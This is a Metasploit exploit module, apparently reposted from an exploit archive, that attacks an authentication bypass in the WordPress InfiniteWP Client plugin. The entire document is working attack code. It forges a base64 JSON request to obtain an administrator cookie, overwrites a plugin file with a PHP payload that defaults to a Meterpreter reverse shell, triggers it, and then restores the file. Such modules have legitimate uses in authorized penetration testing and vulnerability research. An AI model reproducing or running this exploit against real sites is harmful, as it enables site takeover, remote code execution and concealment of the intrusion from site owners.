WordPress Plugin InfiniteWP - Client Authentication Bypass (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress InfiniteWP Client Authentication Bypass',
      'Description'    => %q{
        This module exploits an authentication bypass in the WordPress
        InfiniteWP Client plugin to log in as an administrator and execute
        arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.

        The module will attempt to retrieve the original PLUGIN_FILE contents
        and restore them after payload execution. If VerifyContents is set,
        which is the default setting, the module will check to see if the
        restored contents match the original.

        Note that a valid administrator username is required for this module.

        WordPress >= 4.9 is currently not supported due to a breaking WordPress
        API change. Tested against 4.8.3.
      },
      'Author'         => [
        'WebARX', # Discovery
        'wvu'     # Module
      ],
      'References'     => [
        ['WPVDB', '10011'],
        ['URL', 'https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/'],
        ['URL', 'https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/'],
        ['URL', 'https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html']
      ],
      'DisclosureDate' => '2020-01-14',
      'License'        => MSF_LICENSE,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Privileged'     => false,
      'Targets'        => [['InfiniteWP Client < 1.9.4.5', {}]],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}
    ))

    register_options([
      OptString.new('USERNAME',    [true, 'WordPress username', 'admin']),
      OptString.new('PLUGIN_FILE', [true, 'Plugin file to edit', 'index.php'])
    ])

    register_advanced_options([
      OptBool.new('VerifyContents', [false, 'Verify file contents', true])
    ])
  end

  def username
    datastore['USERNAME']
  end

  def plugin_file
    datastore['PLUGIN_FILE']
  end

  def plugin_uri
    normalize_uri(wordpress_url_plugins, plugin_file)
  end

  def check
    unless wordpress_and_online?
      return CheckCode::Unknown('Is the site online and running WordPress?')
    end

    unless (version = wordpress_version)
      return CheckCode::Unknown('Could not detect WordPress version')
    end

    if Gem::Version.new(version) >= Gem::Version.new('4.9')
      return CheckCode::Safe("WordPress #{version} is an unsupported target")
    end

    vprint_good("WordPress #{version} is a supported target")

    check_version_from_custom_file(
      normalize_uri(wordpress_url_plugins, '/iwp-client/readme.txt'),
      /^= ([\d.]+)/,
      '1.9.4.5'
    )
  end

  # https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php
  def auth_bypass
    json = {
      'iwp_action' => %w[add_site readd_site].sample,
      'params'     => {'username' => username}
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => wordpress_url_backend,
      'data'   => "_IWP_JSON_PREFIX_#{Rex::Text.encode_base64(json)}"
    )

    unless res && res.code == 200 && !(cookie = res.get_cookies).empty?
      fail_with(Failure::NoAccess, "Could not obtain cookie for #{username}")
    end

    print_good("Successfully obtained cookie for #{username}")
    vprint_status("Cookie: #{cookie}")

    cookie
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Bypassing auth for #{username} at #{full_uri}")
    unless (@cookie = auth_bypass).include?('wordpress_logged_in')
      fail_with(Failure::NoAccess, "Could not log in as #{username}")
    end

    print_good("Successfully logged in as #{username}")
    write_and_exec_payload
  end

  def write_and_exec_payload
    print_status("Retrieving original contents of #{plugin_uri}")
    contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)

    unless contents
      fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")
    end

    print_good("Successfully retrieved original contents of #{plugin_uri}")
    vprint_status('Contents:')
    print(contents)

    print_status("Overwriting #{plugin_uri} with payload")
    unless wordpress_edit_plugin(plugin_file, payload.encoded, @cookie)
      fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")
    end

    print_good("Successfully overwrote #{plugin_uri} with payload")

    print_status("Requesting payload at #{plugin_uri}")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => plugin_uri
    }, 0)

    restore_contents(contents)
  end

  def restore_contents(og_contents)
    print_status("Restoring original contents of #{plugin_uri}")
    unless wordpress_edit_plugin(plugin_file, og_contents, @cookie)
      fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")
    end

    return unless datastore['VerifyContents']

    contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)

    unless contents == og_contents
      fail_with(Failure::UnexpectedReply,
                "Current contents of #{plugin_uri} DO NOT match original!")
    end

    print_good("Current contents of #{plugin_uri} match original!")
  end

end